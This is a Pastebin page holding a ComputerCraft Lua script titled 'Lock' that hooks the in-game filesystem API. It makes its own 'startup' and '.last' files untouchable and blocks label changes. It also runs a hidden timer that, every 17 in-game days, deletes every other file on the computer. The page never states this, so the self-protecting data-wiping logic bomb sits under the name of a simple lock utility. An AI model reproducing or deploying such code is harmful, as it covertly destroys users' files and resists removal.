Advertisement
Alakazard12

Lock

Apr 27th, 2014
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.85 KB | None | 0 0
  1. local locked = {
  2.   "startup";
  3.   ".last";
  4. }
  5.  
  6. local oFs = {}
  7.  
  8. local lastD = os.day()
  9. if fs.exists(".last") then
  10.   local file = fs.open(".last", "r")
  11.   lastD = tonumber(file.readAll())
  12.   file.close()
  13. end
  14.  
  15. local function checkT()
  16.   while true do
  17.     sleep(60)
  18.     if os.day()-lastD >= 17 then
  19.       lastD = os.day()
  20.       local file = oFs.open(".last", "w")
  21.       file.write(tostring(lastD))
  22.       file.close()
  23.       for i,v in pairs(oFs.list("/")) do
  24.         local isL = false
  25.         for m,s in pairs(locked) do
  26.           if v == s then
  27.             isL = true
  28.           end
  29.         end
  30.         if isL == false then
  31.           pcall(function() oFs.delete(v) end)
  32.         end
  33.       end
  34.     end
  35.   end
  36. end
  37.  
  38. -- local oFs = {}
  39. for i,v in pairs(fs) do
  40.   oFs[i] = v
  41. end
  42.  
  43. os.setComputerLabel = function() error("Cannot set label") end
  44.  
  45. local nFs = {}
  46.  
  47. local function isLocked(path)
  48.   path = fs.combine(path, "")
  49.   for i,v in pairs(locked) do
  50.     if path == v then
  51.       return true
  52.     end
  53.   end
  54.  
  55.   return false
  56. end
  57.  
  58. function nFs.delete(path)
  59.   if isLocked(path) then
  60.     printError("That file is locked")
  61.     return
  62.   end
  63.  
  64.   return oFs.delete(path)
  65. end
  66.  
  67. function nFs.open(path, mode)
  68.   if isLocked(path) then
  69.     printError("That file is locked")
  70.     return
  71.   end
  72.  
  73.   return oFs.open(path, mode)
  74. end
  75.  
  76. function nFs.move(path1, path2)
  77.   if isLocked(path1) then
  78.     printError("That file is locked")
  79.    return
  80.   end
  81.  
  82.   return oFs.move(path1, path2)
  83. end
  84.  
  85. function nFs.copy(path1, path2)
  86.   if isLocked(path1)  then
  87.     printError("That file is locked")
  88.    return
  89.   end
  90.  
  91.   return oFs.copy(path1, path2)
  92. end
  93.  
  94. for i,v in pairs(nFs) do
  95.   fs[i] = v
  96. end
  97.  
  98. term.clear()
  99. term.setCursorPos(1, 1)
  100.  
  101. parallel.waitForAny(function() shell.run("/rom/programs/shell") end, checkT)
  102.  
  103. os.shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement